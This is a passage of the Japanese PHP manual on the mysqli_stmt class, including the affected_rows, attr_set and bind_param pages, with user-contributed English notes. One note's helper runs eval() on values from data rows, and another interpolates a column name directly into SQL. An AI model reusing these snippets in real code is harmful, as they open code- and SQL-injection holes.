    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

/* ウェールズの珍しい地名です */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
        'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

mysqli_query($link, $query);

if (mysqli_warning_count($link)) {
    if ($result = mysqli_query($link, "SHOW WARNINGS")) {
        $row = mysqli_fetch_row($result);
        printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
        mysqli_free_result($result);
    }
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Warning (1264): Data truncated for column 'Name' at row 1

参考

  • mysqli_errno() - 直近の関数コールによるエラーコードを返す
  • mysqli_error() - 直近のエラーの内容を文字列で返す
  • mysqli_sqlstate() - 直前の MySQL の操作での SQLSTATE エラーを返す

User Contributed Notes

There are no user contributed notes for this page.


mysqli_stmt クラス

(PHP 5, PHP 7)

はじめに

プリペアドステートメントを表します。

クラス概要

mysqli_stmt {
/* プロパティ */
int $affected_rows;
int $errno;
array $error_list;
string $error;
int $field_count;
int $insert_id;
int $num_rows;
int $param_count;
string $sqlstate;
/* メソッド */
public __construct ( mysqli $link , string $query = ? )
public attr_get ( int $attr ) : int
public attr_set ( int $attr , int $mode ) : bool
public bind_param ( string $types , mixed &$var , mixed &...$vars ) : bool
public bind_result ( mixed &$var , mixed &...$vars ) : bool
public close ( ) : bool
public data_seek ( int $offset ) : void
public execute ( ) : bool
public fetch ( ) : bool
public free_result ( ) : void
public get_result ( ) : mysqli_result
public get_warnings ( ) : object
public more_results ( ) : bool
public next_result ( ) : bool
public num_rows ( ) : int
public prepare ( string $query ) : bool
public reset ( ) : bool
public result_metadata ( ) : mysqli_result
public send_long_data ( int $param_nr , string $data ) : bool
public store_result ( ) : bool
}

目次

  • mysqli_stmt::$affected_rows — 直近に実行されたステートメントで変更・削除・あるいは追加された行の総数を返す
  • mysqli_stmt::attr_get — ステートメントの属性の現在の値を取得する
  • mysqli_stmt::attr_set — プリペアドステートメントの振る舞いを変更する
  • mysqli_stmt::bind_param — プリペアドステートメントのパラメータに変数をバインドする
  • mysqli_stmt::bind_result — 結果を保存するため、プリペアドステートメントに変数をバインドする
  • mysqli_stmt::close — プリペアドステートメントを閉じる
  • mysqli_stmt::__construct — 新しい mysqli_stmt オブジェクトを構築する
  • mysqli_stmt::data_seek — ステートメントの結果セットの任意の行に移動する
  • mysqli_stmt::$errno — 直近のステートメントのコールに関するエラーコードを返す
  • mysqli_stmt::$error_list — 直近で実行したステートメントからのエラーの一覧を返す
  • mysqli_stmt::$error — 直近のステートメントのエラー内容を文字列で返す
  • mysqli_stmt::execute — プリペアドステートメントを実行する
  • mysqli_stmt::fetch — プリペアドステートメントから結果を取得し、バインド変数に格納する
  • mysqli_stmt::$field_count — 指定したステートメントのカラム数を返す
  • mysqli_stmt::free_result — 指定したステートメントハンドルの結果を格納したメモリを開放する
  • mysqli_stmt::get_result — プリペアード・ステートメントから結果セットを取得
  • mysqli_stmt::get_warnings — SHOW WARNINGS の結果を取得する
  • mysqli_stmt::$insert_id — 直近の INSERT 操作で生成した ID を取得する
  • mysqli_stmt::more_results — 複数クエリで、次の結果が存在するかどうかを調べる
  • mysqli_stmt::next_result — 複数クエリから、次の結果を読み込む
  • mysqli_stmt::$num_rows — ステートメントの結果セットの行数を返す
  • mysqli_stmt::$param_count — 指定したステートメントのパラメータ数を返す
  • mysqli_stmt::prepare — SQL ステートメントを実行するために準備する
  • mysqli_stmt::reset — プリペアドステートメントをリセットする
  • mysqli_stmt::result_metadata — プリペアドステートメントから結果セットのメタデータを返す
  • mysqli_stmt::send_long_data — データをブロックで送信する
  • mysqli_stmt::$sqlstate — 直前のステートメントの操作での SQLSTATE エラーを返す
  • mysqli_stmt::store_result — プリペアドステートメントから結果を転送する

User Contributed Notes

anonunfinder at gmail dot com 20-Dec-2013 11:35
<?php
class MySQL
{
    protected $mysql;
    function __construct()
    {
                //Get MySQL config values from config.ini file
        if($config = parse_ini_file("../config.ini"))
        {
            // Obtener los valores del fichero de configuracion config.ini
            $ip = $config["ip"];
            $user = $config["usuario"];
            $pass = $config["password"];
            $bd = $config["bd"];

                         //Connection between a database and php
            $this->mysql = new mysqli($ip, $user, $pass, $bd);
        }
    }

    function setResultQuery($query, $param)
    {
        $array = NULL;
        if(!$this->mysql->connect_errno)
        {
            $stmt = $this->setStatement($query, $param);
            try
            {
                if($stmt != NULL)
                {
                    if($stmt->execute())
                    {
                        //Obtener resultados
                        $stmt->store_result();
                        $variables = array();
                        $data = array();
                        $meta = $stmt->result_metadata();
                        while($field = $meta->fetch_field())
                        {
                            $variables[] = &$data[$field->name];
                        }
                        call_user_func_array(array($stmt, 'bind_result'), $variables);
                        $i=0;
                        while($stmt->fetch())
                        {
                                $array[$i] = array();
                                foreach($data as $k=>$v)
                                $array[$i][$k] = $v;
                                $i++;
                        }
                        $stmt->close();
                    }
                }
            }catch(Exception $e){
                $array = FALSE;
            }
        }
        return $array;
    }

    function setStatement($query, $param)
    {
        try
        {
            $stmt = $this->mysql->prepare($query);
            $ref = new ReflectionClass('mysqli_stmt');
            if(count($param) != 0)
            {

                $method = $ref->getMethod('bind_param');
                $method->invokeArgs($stmt, $param);
            }
        }catch(Exception $e){
            if($stmt != null)
            {
                $stmt->close();
            }
        }
        return $stmt;
    }

    function setNoResultQuery($query, $param)
    {
        $validation = FALSE;
        if(!$this->mysql->connect_errno)
        {
            try
            {
                $stmt = $this->setStatement($query, $param);
                if($stmt != null)
                {
                    if($stmt->execute())
                    {
                        $stmt->close();
                        $validacion = TRUE;
                    }
                }
            }catch(Exception $e){
                $validation = FALSE;
            }
        }
        return $validation;
    }

    function __destruct()
    {
        $this->mysql->close();
    }
}
?>
krapfi at gmail dot com 20-May-2008 06:35
The prototype of the mysqli_stmt constructor is mysqli_stmt::__construct(mysqli $link, $query);

To extend mysqli_stmt, do

class myStmt extends mysqli_stmt {
  public function __construct($link, $query) {
    parent::__construct($link, $query);
  }
}

class myI extends mysqli {
  public function prepare($query) {
    return new myStmt($this, $query);
  }
}

http://blog.myhat.de/2007/06/26/pdo-and-extending-mysqli/ has further infos including how to extend mysqli_result


直近に実行されたステートメントで変更・削除・あるいは追加された行の総数を返す

  • ≪ mysqli_stmt
  • mysqli_stmt::attr_get ≫
  • PHP Manual
  • mysqli_stmt
  • 直近に実行されたステートメントで変更・削除・あるいは追加された行の総数を返す

mysqli_stmt::$affected_rows

mysqli_stmt_affected_rows

(PHP 5, PHP 7)

mysqli_stmt::$affected_rows -- mysqli_stmt_affected_rows — 直近に実行されたステートメントで変更・削除・あるいは追加された行の総数を返す

説明

オブジェクト指向型

int $mysqli_stmt->affected_rows;

手続き型

mysqli_stmt_affected_rows ( mysqli_stmt $stmt ) : int

INSERT、 UPDATE あるいは DELETE クエリによって変更された行の数を返します。

この関数は、テーブルを更新するクエリに対してのみ働きます。 SELECT クエリが返す行の数を知るには、 mysqli_stmt_num_rows() 関数を代わりに使用します。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

ゼロより大きい整数の場合、変更した行の数を示します。ゼロの場合は、 UPDATE/DELETE で 1 行も更新されなかった・WHERE 句にマッチする行がなかった・ あるいはまだクエリが実行されていないのいずれかであることを示します。 -1 は、クエリがエラーを返したことを示します。 NULL は、関数に無効な引数が渡されたことを示します。

注意:

変更された行の数が PHP の int 型の最大値をこえる場合は、変更された 行の数は文字列として返されます。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* 一時テーブルを作成します */
$mysqli->query("CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* ステートメントを準備します */
if ($stmt = $mysqli->prepare($query)) {

    /* プレースホルダに変数をバインドします */
    $code = 'A%';
    $stmt->bind_param("s", $code);

    /* ステートメントを実行します */
    $stmt->execute();

    printf("rows inserted: %d\n", $stmt->affected_rows);

    /* ステートメントを閉じます */
    $stmt->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* 一時テーブルを作成します */
mysqli_query($link, "CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* ステートメントを準備します */
if ($stmt = mysqli_prepare($link, $query)) {

    /* プレースホルダに変数をバインドします */
    $code = 'A%';
    mysqli_stmt_bind_param($stmt, "s", $code);

    /* ステートメントを実行します */
    mysqli_stmt_execute($stmt);

    printf("rows inserted: %d\n", mysqli_stmt_affected_rows($stmt));

    /* ステートメントを閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

rows inserted: 17

参考

  • mysqli_stmt_num_rows() - ステートメントの結果セットの行数を返す
  • mysqli_prepare() - 実行するための SQL文 を準備する

User Contributed Notes

gerbawn at 163 dot com 27-Jan-2015 06:47
I find should add $stmt->store_result() after $stmt->execute(), otherwise you can't get right results when use $stmt->affected_rows
Chuck 28-Apr-2007 10:51
I'm not sure whether or not this is the intended behavior, but I noticed through testing that if you were to use transactions and prepared statements together and you added a single record to a database using a prepared statement, but later rolled it back, mysqli_stmt_affected_rows will still return 1.
Carl Olsen 27-Dec-2005 10:34
It appears that an UPDATE prepared statement which contains the same data as that already in the database returns 0 for affected_rows.  I was expecting it to return 1, but it must be comparing the input values with the existing values and determining that no UPDATE has occurred.


ステートメントの属性の現在の値を取得する

  • ≪ mysqli_stmt::$affected_rows
  • mysqli_stmt::attr_set ≫
  • PHP Manual
  • mysqli_stmt
  • ステートメントの属性の現在の値を取得する

mysqli_stmt::attr_get

mysqli_stmt_attr_get

(PHP 5, PHP 7)

mysqli_stmt::attr_get -- mysqli_stmt_attr_get — ステートメントの属性の現在の値を取得する

説明

オブジェクト指向型

public mysqli_stmt::attr_get ( int $attr ) : int

手続き型

mysqli_stmt_attr_get ( mysqli_stmt $stmt , int $attr ) : int

ステートメントの属性の現在の値を取得します。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

attr

取得したい属性。

返り値

属性がみつからない場合は false を、 それ以外の場合はその属性の値を返します。

User Contributed Notes

There are no user contributed notes for this page.


プリペアドステートメントの振る舞いを変更する

  • ≪ mysqli_stmt::attr_get
  • mysqli_stmt::bind_param ≫
  • PHP Manual
  • mysqli_stmt
  • プリペアドステートメントの振る舞いを変更する

mysqli_stmt::attr_set

mysqli_stmt_attr_set

(PHP 5, PHP 7)

mysqli_stmt::attr_set -- mysqli_stmt_attr_set — プリペアドステートメントの振る舞いを変更する

説明

オブジェクト指向型

public mysqli_stmt::attr_set ( int $attr , int $mode ) : bool

手続き型

mysqli_stmt_attr_set ( mysqli_stmt $stmt , int $attr , int $mode ) : bool

プリペアドステートメントの振る舞いを変更します。 複数の属性を設定するには、この関数を複数回コールします。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

attr

設定したい属性。次のいずれかの値となります。

属性の値
文字 | 説明
MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH | true に設定すると、mysqli_stmt_store_result() は メタデータ MYSQL_FIELD->max_length の値を上書きします。
MYSQLI_STMT_ATTR_CURSOR_TYPE | mysqli_stmt_execute() が起動された際にステートメントをオープンするためのカーソル型。 mode は、MYSQLI_CURSOR_TYPE_NO_CURSOR (デフォルト) あるいは MYSQLI_CURSOR_TYPE_READ_ONLY となります。
MYSQLI_STMT_ATTR_PREFETCH_ROWS | カーソルの使用時にサーバーからいちどに取得する行数。 mode に指定できる値の範囲は 1 から unsigned long の最大値までで、デフォルトは 1 です。

MYSQLI_STMT_ATTR_CURSOR_TYPE オプションで MYSQLI_CURSOR_TYPE_READ_ONLY を使用すると、 mysqli_stmt_execute() を起動した際にそのステートメント用のカーソルをオープンします。 以前に mysqli_stmt_execute() をコールした際にオープンしたカーソルが残っている場合は、 それを閉じてから新しいカーソルをオープンします。また mysqli_stmt_reset() も、オープンしているカーソルをすべて閉じてからステートメント再実行の準備をします。 mysqli_stmt_free_result() は、オープンしているカーソルをすべて閉じます。

プリペアドステートメント用のカーソルをオープンするのなら mysqli_stmt_store_result() は不要です。

mode

属性に割り当てるモード。

参考

  • » Connector/MySQL mysql_stmt_attr_set()

User Contributed Notes

chad 0x40 digitellinc 0x2e com 30-Apr-2008 08:20
This is basically a wrapper for mysql_stmt_attr_set in the MySQL C API: http://dev.mysql.com/doc/refman/5.0/en/mysql-stmt-attr-set.html


プリペアドステートメントのパラメータに変数をバインドする

  • ≪ mysqli_stmt::attr_set
  • mysqli_stmt::bind_result ≫
  • PHP Manual
  • mysqli_stmt
  • プリペアドステートメントのパラメータに変数をバインドする

mysqli_stmt::bind_param

mysqli_stmt_bind_param

(PHP 5, PHP 7)

mysqli_stmt::bind_param -- mysqli_stmt_bind_param — プリペアドステートメントのパラメータに変数をバインドする

説明

オブジェクト指向型

public mysqli_stmt::bind_param ( string $types , mixed &$var , mixed &...$vars ) : bool

手続き型

mysqli_stmt_bind_param ( mysqli_stmt $stmt , string $types , mixed &$var , mixed &...$vars ) : bool

変数を、SQL ステートメントのパラメータマーカにバインドします。 この変数は、mysqli_prepare() に渡されたものです。

注意:

データのサイズがパケットサイズの最大値（max_allowed_packet）を こえた場合、types に b を 指定して mysqli_stmt_send_long_data() を使用し、 データをパケットに分割して送信する必要があります。

注意:

mysqli_stmt_bind_param() と
call_user_func_array() を組み合わせて使う場合は注意が必要です。
mysqli_stmt_bind_param() へのパラメータは参照渡しでなければなりませんが、
call_user_func_array() には変数のリストをパラメータとして渡すことができます。
この変数は参照であっても値であってもかまいません。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

types

ひとつあるいは複数の文字で、対応するバインド変数の型を表します。

型指定文字
文字 | 説明
i | 対応する変数の型は integer です。
d | 対応する変数の型は double です。
s | 対応する変数の型は string です。
b | 対応する変数の型は blob で、複数のパケットに分割して送信されます。

var
vars

変数の数。文字列 types の長さは、ステートメント中のパラメータの数と一致する必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$stmt = $mysqli->prepare("INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
$stmt->bind_param('sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

/* プリペアドステートメントを実行します */
$stmt->execute();

printf("%d Row inserted.\n", $stmt->affected_rows);

/* ステートメントと接続を閉じます */
$stmt->close();

/* CountryLanguage テーブルをクリアします */
$mysqli->query("DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("%d Row deleted.\n", $mysqli->affected_rows);

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');

/* 接続状況をチェックします */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$stmt = mysqli_prepare($link, "INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
mysqli_stmt_bind_param($stmt, 'sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

/* プリペアドステートメントを実行します */
mysqli_stmt_execute($stmt);

printf("%d Row inserted.\n", mysqli_stmt_affected_rows($stmt));

/* ステートメントと接続を閉じます */
mysqli_stmt_close($stmt);

/* CountryLanguage テーブルをクリアします */
mysqli_query($link, "DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("%d Row deleted.\n", mysqli_affected_rows($link));

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

1 Row inserted.
1 Row deleted.

参考

  • mysqli_stmt_bind_result() - 結果を保存するため、プリペアドステートメントに変数をバインドする
  • mysqli_stmt_execute() - プリペアドステートメントを実行する
  • mysqli_stmt_fetch() - プリペアドステートメントから結果を取得し、バインド変数に格納する
  • mysqli_prepare() - 実行するための SQL文 を準備する
  • mysqli_stmt_send_long_data() - データをブロックで送信する
  • mysqli_stmt_errno() - 直近のステートメントのコールに関するエラーコードを返す
  • mysqli_stmt_error() - 直近のステートメントのエラー内容を文字列で返す

User Contributed Notes

andersmmg at gmail dot com 29-Jan-2019 07:29
I sometimes forget that you can't put functions inside. For example:

If I wanted to use md5() on a value like so:
<?php
$stmt->bind_param("s",md5($val));
?>
If would not work. Because it uses the variables by binding them, you need to change them beforehand like this:
<?php
$val = md5($val);
$stmt->bind_param("s",$val);
?>
davidharrison at gmail dot com 16-Jul-2017 08:20
There are two solutions in this page for calling bind_param() via  call_user_func_array() that involve using a user-created function called refValues(), so that you can pass the parameters to bind_param() as references.

This works perfectly in PHP v5.3 (and I assume before), but since upgrading to PHP v7.1.7, the refValues() functions here no longer correctly convert the arrays to arrays of references. Instead you will get a warning:

"PHP Warning:  Parameter 3 to mysqli_stmt_bind_param() expected to be a reference, value given"

I believe this is because of changes to arrays and reference handling as noted in the "Migrating from PHP 5.6.x to PHP 7.0.x" guide in Backwards Incompatibilities (change: "foreach by-value operates on a copy of the array").

So in PHP v7.1.7 at least, the user-created function refValues() no longer returns an array of references but instead a normal array of values.

Changing the function definition of refValues() to accept the array as a reference seems to fix this - as intended it returns an array of references and thus bind_param() works as expected (although I haven't tested this super thoroughly to make sure there are no other ill effects, especially in older versions of PHP).

New refValues() definition is simply:

<?php
function refValues(&$arr) // Changed $arr to reference for PHP v7.1.7
{
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
        return $refs;
     }
     return $arr;
}
?>
Darky 10-Jul-2017 03:23
A small remark from what I tried:
- if you use prepared statements with bind_param and your query looks like
"SELECT user_id FROM users WHERE ... = ?" and then you bind an integer param to this, the user_ids you get will be casted to int. On the other hand, if you don't use prepared statements, but sth like "SELECT user_id FROM users WHERE ... = $var", where $var is an int, and just make the query, the fetched results will be strings. (e.g., at var_dump,  ["user_id"]=> string(1) "6" for some row)
This is just from what I observed in my project, hope it's correct.
asphp at dsgml dot com 22-Mar-2017 04:09
Instead of reflection or complicated ref assigning do this:

<?
mysqli_stmt_bind_param($stmt, ...$params);

//(Only works in php 5.6+)

//Example:

//$mysql is from mysqli_connect()
//$sql is the query
//$types is the type string eg 'ii'
//$params is an array of params
function execute($mysqli, $sql, $types, $params) {
    $stmt = mysqli_prepare($mysqli, $sql);
    mysqli_stmt_bind_param($stmt, $types, ...$params);
    mysqli_stmt_execute($stmt);
    return mysqli_stmt_get_result($stmt);
}
?>

You can have the types as the first element of the array as in the first example, or as a separate variable as in the second example.
accountant 16-Jan-2017 10:09
if bind_param() fails due to Number of elements in type definition string doesn't match number of bind variables. it triggers an E_WARNING error. and you will not find that error in $stmt->error property
Matze 10-Nov-2016 07:57
Hey Folks,

just wanted to mention that parameters can only be used for input data, NOT for Table, Columns or Database names.
That gave me a headache yesterday!
So this code will not work:

$searchtype = "Title";
$searchterm = "The Fellowship of the Ring: The Lord of the Rings";

$query =
"SELECT ISBN, Author, Title, Price
FROM books
WHERE ? = ?";

$mySql_stmt = $db->prepare($query);
$mySql_stmt->bind_param("ss" , $searchtype, $searchterm);
$mySql_stmt->execute();

In contrast, you will have to include the searchtype in ther query directly like this:

$searchtype = "Title";
$searchterm = "The Fellowship of the Ring: The Lord of the Rings";
$query =
"SELECT ISBN, Author, Title, Price
FROM books
WHERE $searchtype = ?";

$mySql_stmt = $db->prepare($query);
$mySql_stmt->bind_param("s", $searchterm);
$mySql_stmt->execute();

Hope that helps someone to have a peaceful nights sleep :)
travis at twooutrally dot com 06-Mar-2016 05:59
Parameter type matters more than you might think!

A cautionary tail to any who would seek to find less than thorough solutions for automating prepared statements. Take the following mysqli_stmt extension method for example.

<?php

public function param_type($param)
{
    if (ctype_digit((string) $param)
        return $param <= PHP_INT_MAX ? 'i' : 's';

    if (is_numeric($param))
        return 'd';

    return 's';
}

?>

At face value this seems like a perfectly straightforward and innocuous function. Something like this served as a small piece in a larger automation extension which dutifully served its purpose efficiently handling hundreds of thousands of queries a day.

Now I know what you're thinking: it doesn't handle blob types. Well we didn't work with blob types (and still don't) so that's never been an issue. This problem was far more insidious and ultimately pernicious than that.

So what went wrong? The problem began to surface when we started automating SELECT queries on a newly created index for a column designed to store telephone numbers. The column was of type VARCHAR but the data stored was always formatted as an integer. Not a problem when performing a write operation but as soon as we went to read from the table on this index everything went to hell.

We're not entirely sure, but as near as we can tell the act of binding a parameter to a VARCHAR index as 'i' instead of 's' on a read query is detrimental in the following way: MySQL will ignore the b-tree on the index and perform a full table scan. With smaller tables this may never present itself as a significant performance issue. When your tables get into the tens of millions of rows, however...
bboymarco 04-Aug-2015 12:14
I did for myself a really useful function (cause I didn't want to use eval() or reflection) that create for you a prepared statement with an indefinite number of parameters and return an indefinite number of result columns. Last two arguments are optional so when you don't have parameters to send to MySQL you can avoid them. I decided to share it here cause it may  be helpful and save some time and brainstorming:

function prepared_stmt($con, $query, $type = "", $param = array()){

    if($stmt = mysqli_prepare($con, $query)){

        $refarg = array($stmt, $type);//First two parameter of mysqli_stmt_bind_param

        foreach ($param as $key => $value)//create array of parameters' references

            $refarg[] =& $param[$key];

        if($type != "")//Jump instruction if argument $type is missing

            call_user_func_array("mysqli_stmt_bind_param", $refarg);//bind parameters with dinamic length

        if(mysqli_stmt_execute($stmt)){//check if execution go fine

            $cols = mysqli_field_count($con);//retrive the number of columns of the resultset

            $result = array_fill(0, $cols, NULL);//create an empty array with the same length of the columns

            $ref = array($stmt);//first argument of mysqli_stmt_bind_result

            foreach ($result as $key => $value)//create array of empty cells' references

                $ref[] =& $result[$key];

            call_user_func_array("mysqli_stmt_bind_result", $ref);//bind results with dinamic length

            return $ref;//return statement and columns references

        }//if

        else

            return false;

    }//if

    else

        return false;

}//prepared_stmt

Example of call:

$hello = prepared_stmt($con, "SELECT Example FROM table WHERE Col=?", "s", array("LOL");
//count($hello) is equal to 2
//$hello[0] Statement reference
//$hello[1] Example column field where to find values after fetching

while(mysqli_stmt_fetch($hello[0]))
         echo $hello[1] . "<br>";//This will print all value of the Example column
tomasz at marcinkowski dot pl 27-Mar-2014 03:46
When trying to bind a string param you get a "Number of variables doesn't match number of parameters in prepared statement" error, make sure you're not wrapping the question mark with quotes.

By mistake I had a query like:
SELECT something FROM table WHERE param_name = "?"

Binding it with <?php $stmt->bind('s', $param_value); ?> had been failing on me. All I had to do was to remove quotes around "?".
Hope this saves someone's time.
Boyet 23-Oct-2013 12:56
I think this is a good way to automatically get the types for the binding in as few lines of code as possible. If you bind the array values in the same order as when you used it for this you should not worry about aligning them.

foreach($array as $var){
    $chrType = substr((string)gettype($var),0,1);
    $strType .= (!in_array($chrType,array("i","d","s"))) ? "b" : $chrType;
}
laurence dot mackenzie at stream dot com 08-Oct-2013 09:08
I just came across a very strange behaviour when using bind_param() with a reflection class.  I figured I ought to post it here to save anyone else who comes across it from banging their head against their desk for an hour (as I just did).

First, some background:  I have a set of classes,  one per file format (i.e. CSV, HTML table, etc), which import data from flat files to a temporary table in my database.  The class then transforms the data to 3NF.

I'm  using a reflection class to pass an array to mysqli->bind_param() because the column counts and types are variable.  The code (simplified) I am having issues with is:

<?php

/* Code that loops through the rows and columns in the
 * flat file and appends the MySQLi 'type' letter to the
 * $typeString variable and appends the actual value
 * to the $data array.  I left the code out because it's
 * (probably) not relevant and would bloat the post.
 */
$stmtInsert = $db->prepare('INSERT.....');
$typeString = 'ississis';
$data = array(1, 'two', 'three', 4, 'five', 'six', 7, 'eight');

/* Here's where the actual strangeness starts happening
 */

// Merge the parameter types with the parameter values
$data = array_merge((array) $typeString, $data);

// Create the reflection class
$ref = new \ReflectionClass('mysqli_stmt');

// Get the bind_param  method
$method = $ref->getMethod('bind_param');

// Invoke it with $data
$method->invokeArgs($stmtInsert, $data);

// Execute the statement
$stmtInsert->execute();

}
?>

Oddly, in one (and only one) case it started throwing "Warning: Parameter 41 to mysqli_stmt::bind_param() expected to be a reference, value given".  The reflection class throws an exception.  Other import sets using this code work just fine.  Parameter 41 is the last parameter.   Changing the affected code as follows resolves the issue:

<?php

$ref = new \ReflectionClass("mysqli_stmt");
$method = $ref->getMethod("bind_param");
$data[count($data)-1] = (string) $data[count($data)-1];
$method->invokeArgs($stmtInsert, $data);
$stmtInsert->execute();

?>

Not sure what's going on here, but like I said, hopefully this will keep the next person from thinking they're totally insane.
mike chip 13-Mar-2013 02:45
I had to do a more advanced prepare function (A multi-multi values prepared statement)to make things easier for a few situations, so I wrote the following function.

NOTE: This function assumes you have put it into a class that have:
$mysqli = A mysqli object

NOTE2: This function currently only supports ints for the values, but you can modify it to support additional types...

To use it:
<?php
$sql = "SELECT id, code FROM country";
$result = $database->fetch_all($sql); // This is just a custom fetch_all function...

if(!$result) {
    return null; // no results...
}

// Re-organize the order of the elements from the resultset, code first then id, just like the sql statement...
$pData = array();
foreach($result as $row) {
    $pData[] = array('code'=>$row['code'] + 1,'id'=>$row['id']); //Assign valid php variable names, because this'll be used later on!!!
}

$database->mysqli_prepare_exec("UPDATE country SET code=? WHERE id=?", 'ii', $pData);
?>

Here's the function:

<?php
public function mysqli_prepare_exec($sql, $types, $data)
{
    $stm = $this->mysqli->prepare($sql);

    if(!$stm) {
        return null; // Statement couldn't be prepared, check for errors...
    }

    foreach($data[0] as $k => $v) {
        eval('$' . $k . '=' . $v . ';');
        eval('$vars[\'' . $k . '\'] = &$' . $k . ';'); // Referencing to our last newly created variable
    }
    unset($k,$v);

    call_user_func_array(array($stm, 'bind_param'), array_merge(array($types), $vars));

    foreach($data as $row) {
        foreach($row as $k => $v) {
            eval('$' . $k . '=' . $v . ';');
        }
        $stm->execute();
    }
}
?>
Guido 15-Oct-2012 07:43
Dear all,

I was searching for a class which supports multiple calls to bind_param, because I have scenarios where I build huge SQL statements over different functions with variable numbers of parameters. But I didn't found one. So I have just written up this little piece of code I would like to share with you. There is enough room to optimize these classes, but it shows the general idea. And for me it works. In mbind_param_do() it seems to depend from the PHP version if makeValuesReferenced() must be used or if $params can be used directly. In my case I have to use it.

The cool thing about this solution: You don't have to care about a lot if you are using my mbind_ functions or not. You may also use default bind_param and the execute will still work.

<?php

class db extends mysqli {
    public function prepare($query) {
        return new stmt($this,$query);
    }
}

class stmt extends mysqli_stmt {
    public function __construct($link, $query) {
        $this->mbind_reset();
        parent::__construct($link, $query);
    }

    public function mbind_reset() {
        unset($this->mbind_params);
        unset($this->mbind_types);
        $this->mbind_params = array();
        $this->mbind_types = array();
    }

    //use this one to bind params by reference
    public function mbind_param($type, &$param) {
        $this->mbind_types[0].= $type;
        $this->mbind_params[] = &$param;
    }

    //use this one to bin value directly, can be mixed with mbind_param()
    public function mbind_value($type, $param) {
        $this->mbind_types[0].= $type;
        $this->mbind_params[] = $param;
    }

    public function mbind_param_do() {
        $params = array_merge($this->mbind_types, $this->mbind_params);
        return call_user_func_array(array($this, 'bind_param'), $this->makeValuesReferenced($params));
    }

    private function makeValuesReferenced($arr){
        $refs = array();
        foreach($arr as $key => $value)
        $refs[$key] = &$arr[$key];
        return $refs;

    }

    public function execute() {
        if(count($this->mbind_params))
            $this->mbind_param_do();

        return parent::execute();
    }

    private $mbind_types = array();
    private $mbind_params = array();
}

$search1 = "test1";
$search2 = "test2";

$_db = new db("host","user","pass","database");
$query = "SELECT name FROM table WHERE col1=? AND col2=?";
$stmt = $_db->prepare($query);

$stmt->mbind_param('s',$search1);
//this second call is the cool thing!!!
$stmt->mbind_param('s',$search2);

$stmt->execute();

//this would still work!
//$search1 = "test1changed";
//$search2 = "test2changed";
//$stmt->execute();

...

$stmt->store_result();
$stmt->bind_result(...);
$stmt->fetch();
?>
xianrenb at gmail dot com 30-Sep-2012 06:52
It is believed that if one has specified 'b' in $types, the corresponding variable should be set to null, and one has to use mysqli_stmt::send_long_data() or mysqli_stmt_send_long_data() to send the blob, otherwise the blob value would be treated as empty.
nick9v at hotmail dot com 30-Jun-2012 10:12
When dealing with a dynamic number of field values while preparing a statement I find this class useful.

<?php
class BindParam{
    private $values = array(), $types = '';

    public function add( $type, &$value ){
        $this->values[] = $value;
        $this->types .= $type;
    }

    public function get(){
        return array_merge(array($this->types), $this->values);
    }
}
?>

Usage is pretty simple. Create an instance and use the add method to populate. When you're ready to execute simply use the get method.

<?php
$bindParam = new BindParam();
$qArray = array();

$use_part_1 = 1;
$use_part_2 = 1;
$use_part_3 = 1;

$query = 'SELECT * FROM users WHERE ';
if($use_part_1){
    $qArray[] = 'hair_color = ?';
    $bindParam->add('s', 'red');
}
if($use_part_2){
    $qArray[] = 'age = ?';
    $bindParam->add('i', 25);
}
if($use_part_3){
    $qArray[] = 'balance = ?';
    $bindParam->add('d', 50.00);
}

$query .= implode(' OR ', $qArray);

//call_user_func_array( array($stm, 'bind_param'), $bindParam->get());

echo $query . '<br/>';
var_dump($bindParam->get());
?>

This gets you the result that looks something like this:

SELECT * FROM users WHERE hair_color = ? OR age = ? OR balance = ?
array(4) { [0]=> string(3) "sid" [1]=> string(3) "red" [2]=> int(25) [3]=> float(50) }

